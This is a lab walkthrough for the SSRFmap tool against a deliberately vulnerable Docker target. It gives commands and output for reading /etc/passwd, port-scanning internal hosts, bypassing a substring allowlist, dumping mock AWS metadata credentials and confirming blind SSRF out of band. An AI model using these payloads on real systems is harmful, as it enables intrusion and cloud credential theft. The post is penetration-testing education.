This is the SSRFmap walkthrough I wish I had when I learned the tool. We start from nothing (no target, no captured request, no SSRFmap state), and we end with /etc/passwd read off the application host, an internal port scan, an allowlist bypass that reaches a non-public admin endpoint, and an IMDS credential dump from a mock AWS metadata service. Every step is reproducible against a vulnerable lab target I publish for this exact purpose.
If you have not read the server-side request forgery deep dive yet, do that first; this article assumes the vector shapes are familiar. The best SSRF tools list for 2026 covers where SSRFmap fits in the landscape, and the SSRFmap cheat sheet is the flag-by-flag reference that complements this walkthrough.
A note on the output you will see. Every example in this article was produced against
techearl-labs/server-side-request-forgery/ssrf-basic. The endpoints, allowlist logic, internal hostnames, and IMDS mock are deterministic and will match what you get locally. A few values are environment-dependent and will differ in minor ways: the exact PHP minor version in error strings (depends on whichphp:8.2-apacheimage tag Docker pulled), Docker network addresses for the side containers, your SSRFmap session paths, and timestamps. Those are illustrative, the structure underneath is what to follow.
The lab target
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up ssrf-basic ssrf-basic-internal ssrf-basic-metadataThe public app listens on http://localhost:8082. Two side containers (ssrf-basic-internal and ssrf-basic-metadata) sit on the Docker network with no published ports. You can only reach them by routing through the SSRF, which is the whole lesson.
| Endpoint | Method | Vulnerable parameter | Sink |
|---|---|---|---|
/fetch.php?url=... | GET | url | file_get_contents($url) |
/fetch-allowlist.php?url=... | GET | url | file_get_contents($url) after a strpos($url, 'example.com') substring check |
/fetch-blind.php?url=... | GET | url | curl with a 5-second timeout, response body discarded |
The PHP file_get_contents sink keeps the full wrapper surface live (file://, php://, gopher://, ftp://, dict://), which is what makes the readfiles module work without any further setup.
Step 1: identify the SSRF sink
Visit http://localhost:8082/ in a browser. The landing page links to three "URL preview" endpoints. The first one I always test is the most permissive:
curl -s 'http://localhost:8082/fetch.php?url=http://example.com/' | head -20If the response body contains the upstream page (in the lab it is the example.com landing markup), the server is fetching the URL for you. That is the SSRF. The parameter name is url, the method is GET, the path is /fetch.php. Note the three pieces; SSRFmap needs all of them.
Step 2: capture a Burp request file
SSRFmap takes a raw HTTP request file the same way sqlmap does. You can hand-write it but Burp is faster. Start Burp Suite Community, set the browser's proxy to 127.0.0.1:8080, visit http://localhost:8082/fetch.php?url=http://example.com/, right-click the request in Proxy → HTTP history, choose "Copy to file". Save as req.txt. It looks roughly like:
GET /fetch.php?url=http://example.com/ HTTP/1.1
Host: localhost:8082
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Hand-writing this file is fine too. Method, path, Host header, and the vulnerable parameter present in the query string (or the body, for POST) are all SSRFmap actually needs.
Step 3: baseline detection
Install SSRFmap if you have not already (git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap && pip install -r requirements.txt), then point it at the request file:
python3 ssrfmap.py -r req.txt -p url-r req.txt is the captured request, -p url is the parameter to inject. Output (abbreviated):
SSRFmap v1.x
[+] Module loaded: readfiles
[+] Module loaded: portscan
[+] Module loaded: redis
[+] Module loaded: github
[+] Module loaded: aws
[+] Module loaded: gopher
[+] Module loaded: smtp
[+] Module loaded: socksproxy
...
[INFO] no module selected, listing available modules
The bare invocation does not run an exploit; it confirms SSRFmap parses the request, locates the url parameter, and is ready. The selection happens via -m. SSRFmap is module-based rather than autopilot-based, which is the first thing to internalise: unlike sqlmap's "throw everything at it and see what sticks", SSRFmap asks you which technique to apply, then applies it.
Step 4: read local files (readfiles module)
The file:// wrapper is the highest-signal first move on a PHP file_get_contents sink. SSRFmap's readfiles module loops a list of paths through the parameter:
python3 ssrfmap.py -r req.txt -p url -m readfiles --rfiles files.txt--rfiles is SSRFmap's flag for the readfiles wordlist (note: not -l, which is the reverse-shell handler port). files.txt is a newline-separated list of absolute paths. A useful starter list:
/etc/passwd
/etc/hostname
/etc/hosts
/etc/issue
/proc/self/environ
/var/www/html/fetch.php
/var/www/html/fetch-allowlist.php
Output (abbreviated):
[INFO] Module: readfiles
[INFO] Trying: file:///etc/passwd
[+] Got data for file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
[INFO] Trying: file:///proc/self/environ
[+] Got data for file:///proc/self/environ
APACHE_RUN_DIR=/var/run/apache2APACHE_PID_FILE=...
[INFO] Trying: file:///var/www/html/fetch.php
[+] Got data for file:///var/www/html/fetch.php
<?php require __DIR__ . '/shared/layout.php'; ...
The lab is a clean reproduction of the wild case: any path the Apache user (www-data) can read comes back inline. In a real engagement this is the moment to grep the application source for hardcoded credentials, database connection strings, and any reference to a metadata host you can pivot to next.
If you skip --rfiles and just run -m readfiles, SSRFmap uses its bundled list (data/file.txt in the SSRFmap repo). That works for first-pass triage; a curated list is faster on subsequent runs.
Step 5: portscan the internal network (portscan module)
Now use the SSRF as a network telescope. The portscan module makes the server probe arbitrary hosts for you. The host to probe is passed via --lhost (SSRFmap reuses the --lhost flag as "IP to target in the network" for the scanning modules):
python3 ssrfmap.py -r req.txt -p url -m portscan --lhost ssrf-basic-internalOutput (abbreviated):
[INFO] Module: portscan
[INFO] Target: ssrf-basic-internal
[+] Port 80 is open
[-] Port 8080 is closed
[-] Port 3306 is closed
[-] Port 6379 is closed
[-] Port 9200 is closed
[-] Port 11211 is closed
Port 80 on the internal admin host is reachable through the SSRF. The non-internal ports return cleanly, which is itself useful: a real engagement maps the whole internal subnet this way before deciding which service to chase. Sweep a CIDR by feeding --lhost each IP in turn (a small shell loop around the invocation); SSRFmap's portscan is single-host per invocation, and there is no per-run port-list flag, the module walks its own built-in port list.
The technique behind it is response-content inference, not real TCP connect. SSRFmap fires a fetch at http://target:port/, then classifies the response (HTTP body, connection refused error, timeout). It works for HTTP-shaped ports cleanly, and is a noisy heuristic for everything else; treat closed/filtered distinctions with care.
Step 6: bypass the broken allowlist
/fetch-allowlist.php is the realistic middle-ground endpoint. It rejects anything whose URL string does not contain example.com somewhere. The check is strpos($url, 'example.com') !== false, which is the broken pattern I find in audits every month. The bypass is to put the literal string example.com anywhere the substring check can see it, while the real authority points elsewhere:
curl -s 'http://localhost:8082/fetch-allowlist.php?url=http://ssrf-basic-internal/?fake=example.com' \
| grep -A 5 'Response body'ssrf-basic-internal is the real authority, the query string carries the literal example.com token that satisfies strpos, and PHP's file_get_contents follows the actual host. The "allowed" string never had any positional meaning, the developer just checked it was present somewhere.
To run this through SSRFmap, point at the allowlist endpoint. Capture a fresh req-allowlist.txt with /fetch-allowlist.php?url=http://example.com/, then:
python3 ssrfmap.py -r req-allowlist.txt -p url -m readfiles --rfiles files.txt \
--uagent "ssrfmap/lab"Without modification SSRFmap will fail every payload because none of file:///etc/passwd, http://10.0.0.1/, etc. contain the literal string example.com. SSRFmap does not bake an allowlist-bypass module in; you compose around it. Two practical options:
- Patch the payload template. Edit the file list to suffix every URL with
#example.comor?fake=example.comso each payload satisfies the check. The#fragment form is sometimes stripped by the upstream fetcher, the?fake=example.comform survives every wrapper I have tested. - Drive the bypass with curl directly (as shown above) and use SSRFmap only on the unfiltered
/fetch.php. This is what I do in practice: an allowlist bypass is a payload-shape concern, not a module concern.
The textbook userinfo trick (http://example.com@ssrf-basic-internal/) also works against parse_url-based allowlists, and the lab has a dedicated walkthrough on the userinfo variant. The substring-check shape is the one to test first; it is the most common.
Step 7: hit the cloud metadata mock (aws module)
The lab's ssrf-basic-metadata container imitates AWS IMDSv1 at the Docker-network address ssrf-basic-metadata (production would be the link-local 169.254.169.254, but containers cannot bind link-local cleanly so the lab uses a hostname). SSRFmap ships an aws module that walks the standard IMDS paths. The target host is passed via --lhost:
python3 ssrfmap.py -r req.txt -p url -m aws --lhost ssrf-basic-metadataOutput (abbreviated):
[INFO] Module: aws
[INFO] Target: ssrf-basic-metadata
[+] /latest/meta-data/iam/security-credentials/
[+] Role found: role-name
[+] /latest/meta-data/iam/security-credentials/role-name
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoDYXdzEJr...<truncated>",
"Expiration": "2026-05-27T18:00:00Z"
}
That is the same credential blob curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name returns on a real EC2 instance running IMDSv1. The keys above are AWS's documented example values, not a live key, but the shape is identical.
IMDSv2 attempts. AWS's IMDSv2 requires a PUT to /latest/api/token to obtain a session token, then a GET with X-aws-ec2-metadata-token for every metadata call. The lab does not implement IMDSv2 (that is a deliberate choice; the SSRF article walks why IMDSv2 closes this attack), but to see what SSRFmap does against a target you suspect is v2-only, run with -v:
python3 ssrfmap.py -r req.txt -p url -m aws --lhost ssrf-basic-metadata -vVerbose mode shows the fetch attempts. The aws module fires GET requests. On a real IMDSv2 target every GET returns 401 Unauthorized because the token header is missing, and SSRFmap reports no credentials found. The technique to defeat IMDSv2 from SSRF is to issue a PUT through the SSRF sink (gopher:// or a sink that allows method override), which file_get_contents does not support cleanly. That is the manual-Burp territory; SSRFmap's aws module is v1-shaped.
Step 8: out-of-band confirmation (blind SSRF)
/fetch-blind.php discards the response body and returns only "OK" or "Timeout". You cannot read the page back; you need an external listener. The two production-grade options are interactsh and Burp Collaborator. interactsh is free and runs from one binary:
# Terminal A: start the collaborator
interactsh-clientIt prints a payload domain (something like cXXX.oast.fun). Now fire the blind endpoint at it:
curl -s "http://localhost:8082/fetch-blind.php?url=http://cXXX.oast.fun/" -o /dev/nullWithin a few seconds, terminal A logs the inbound HTTP hit from the lab container. That is your out-of-band confirmation: the SSRF executed, the response body was discarded, but the side effect (an HTTP request to your collaborator) tells you the sink fired. Confirm DNS-only (-q HTTP -t A) to distinguish DNS resolution from full HTTP reachability when egress is filtered.
SSRFmap's httpmethods and socksproxy modules can help once you have OOB confirmed, but the core technique (paste a payload domain, watch the listener) is the manual move. The blind SSRF deep dive covers the timing-oracle variant the lab also exposes (a 5-second timeout against non-routable IPs), which is the technique to fall back on when no OOB egress is available at all.
Step 9: what SSRFmap cannot do here (vs Burp manual)
A few things the lab will surface that SSRFmap is not the right tool for:
- Method-controlled SSRF. IMDSv2 requires PUT. SSRFmap GETs everything. You need Burp Repeater or curl to send the right verb against the right wrapper, or a
gopher://payload to smuggle the method through. - Custom-header attacks via the sink. The lab does not expose this, but real targets sometimes pass attacker-controlled headers downstream. SSRFmap injects into the URL parameter only; header smuggling is a Burp Repeater workflow.
- State-bearing flows. Anything that requires cookies refreshed mid-flow, CSRF tokens fetched dynamically, or a CSRF-then-fetch sequence. SSRFmap replays the captured request as-is. Burp Suite Intruder with a session-handling rule is the right tool there.
- Allowlist composition. As Step 6 showed, SSRFmap does not compose bypass payloads automatically. Hand-craft them, paste them, let SSRFmap drive the file list.
The right mental model is: SSRFmap is the "fast pass" tool for the four or five SSRF shapes that recur in the wild (file://, internal HTTP, IMDS, redis-via-gopher, github webhook spoofing). When the target deviates from those shapes, drop to Burp Repeater. The two tools are complements, not substitutes.
Where to go next
- The SSRFmap cheat sheet for the full flag and module reference.
- The SSRF deep dive for the variants and the defence playbook.
- The best SSRF tools list for 2026 for Gopherus, interactsh, and the alternatives.
- The cloud metadata SSRF guide for the IMDSv2, GCP, and Azure metadata variants.
- The DNS rebinding SSRF guide for when the target validates the host before fetching.
- The blind SSRF guide for OOB and timing oracle techniques.
Sources
Authoritative references this article was fact-checked against.
- SSRFmap, official README on GitHubgithub.com
- techearl-labs, ssrf-basic lab sourcegithub.com





